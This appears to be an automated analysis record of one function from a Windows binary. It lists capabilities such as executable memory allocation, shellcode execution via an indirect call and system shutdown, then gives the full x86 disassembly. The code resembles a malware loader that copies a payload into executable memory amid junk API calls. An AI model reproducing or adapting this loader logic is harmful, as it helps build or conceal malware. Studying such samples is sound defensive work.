Function at 0x403dbe
Capabilities:
Allocate or change rwx memory
Create pipe
Execute shellcode via indirect call
Get geographical location
Read file on windows
Shutdown system

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1454
call fcn.0040f690
cmp dword [0x460ca0], 0x5b1
push ebx
push esi
push edi
jne 0x403e79
xor ebx, ebx
push ebx
lea eax, [ebp - 0x850]
push eax
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_FoldStringW]
push ebx
push ebx
push ebx
call dword [sym.imp.USER32.dll_GetScrollInfo]
push ebx
push ebx
call dword [sym.imp.USER32.dll_ChangeDisplaySettingsW]
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_OpenJobObjectW]
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetProcessHandleCount]
lea eax, [ebp - 0x50]
push eax
push 0x40366c
push ebx
call dword [sym.imp.USER32.dll_GetClassInfoExW]
push ebx
push 0x403680
push 0x40368c
call dword [sym.imp.KERNEL32.dll_CreateHardLinkW]
push ebx
call fcn.004041e4
pop ecx
push ebx
push ebx
push ebx
push ebx
call fcn.00404a59
pop ecx
pop ecx
mov eax, esp
mov dword [eax], ebx
push ecx
mov dword [eax + 4], ebx
push ecx
mov eax, esp
mov dword [eax], ebx
mov dword [eax + 4], ebx
call fcn.00403a61
fstp st(0)
lea esi, [ebp - 0x14]
call fcn.00403a20
mov ecx, esi
call fcn.00403a37
push ebx
call fcn.00404559
pop ecx
push ebx
call fcn.00404d62
add dword [0x460ca0], 0x1134b
push 0x4036c0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push 0x4036d0
push eax
mov dword [0x45fbf4], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x40
push 0x1000
push dword [0x460ca0]
xor ebx, ebx
push ebx
mov dword [0x45fbec], eax
call eax
xor esi, esi
mov dword [0x45fbf0], eax
cmp dword [0x460ca0], ebx
jbe 0x403f02
cmp dword [0x460ca0], 0xa8
mov eax, dword [0x460ca4]
mov al, byte [eax + esi + 0x1134b]
mov ecx, dword [0x45fbf0]
mov byte [ecx + esi], al
jne 0x403ef9
push ebx
push ebx
call dword [sym.imp.GDI32.dll_SetColorAdjustment]
push ebx
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetGeoInfoA]
inc esi
cmp esi, dword [0x460ca0]
jb 0x403ec5
xor esi, esi
mov eax, dword [0x460ca0]
add eax, esi
cmp eax, 0xe
jne 0x403fd1
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_SetConsoleWindowInfo]
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CreatePipe]
push ebx
lea eax, [ebp - 0x1450]
push eax
push 0x4036e0
call dword [sym.imp.KERNEL32.dll_GetShortPathNameW]
push ebx
lea eax, [ebp - 0x20]
push eax
push ebx
lea eax, [ebp - 0xc50]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_ReadConsoleA]
push ebx
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.ADVAPI32.dll_InitiateSystemShutdownW]
lea eax, [ebp - 0x18]
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedDecrement]
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_HeapCreate]
push ebx
push ebx
push ebx
call dword [sym.imp.ADVAPI32.dll_SetKernelObjectSecurity]
xor eax, eax
mov dword [ebp - 8], ebx
lea edi, [ebp - 4]
stosd dword es:[edi], eax
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_LocalFileTimeToFileTime]
xor eax, eax
mov word [ebp - 0x30], ax
lea edi, [ebp - 0x2e]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
push ebx
stosw word es:[edi], ax
lea eax, [ebp - 0x450]
push eax
push 0x40379c
lea eax, [ebp - 0x30]
push eax
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetDateFormatA]
call dword [sym.imp.KERNEL32.dll_GetACP]
push ebx
lea eax, [ebp - 0x1c]
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedExchangeAdd]
push 0x4037cc
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_OpenSemaphoreA]
inc esi
cmp esi, 0x39621
jl 0x403f04
xor esi, esi
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetCommMask]
call dword [sym.imp.KERNEL32.dll_GetLastError]
push ebx
call dword [sym.imp.KERNEL32.dll_DebugActiveProcess]
cmp esi, 0x206d47
jg 0x404006
inc esi
cmp esi, 0x4f6a4
jl 0x403fe0
mov esi, 0x4e320c
push ebx
push ebx
call dword [sym.imp.USER32.dll_LoadMenuA]
push ebx
push ebx
push ebx
call dword [sym.imp.USER32.dll_CharToOemBuffW]
call dword [sym.imp.USER32.dll_GetMessageExtraInfo]
dec esi
jne 0x40400b
call fcn.00403d25
push ebx
call dword [sym.imp.KERNEL32.dll_SetLastError]
cmp esi, 0x26
jne 0x40403b
call fcn.00403da4
inc esi
cmp esi, 0x6753f
jl 0x40402a
push 0x7b
pop esi
cmp dword [0x460ca0], 0x86
jne 0x404094
push ebx
lea eax, [ebp - 0x1450]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_FindNextVolumeW]
push ebx
lea eax, [ebp - 0x3c]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
push ebx
call dword [sym.imp.KERNEL32.dll_IsDBCSLeadByte]
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_EnumResourceNamesW]
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_WritePrivateProfileStringA]
push 0x4037e8
call dword [sym.imp.KERNEL32.dll_AddAtomW]
dec esi
jne 0x404047
call fcn.00403ada
pop edi
pop esi
pop ebx
leave
ret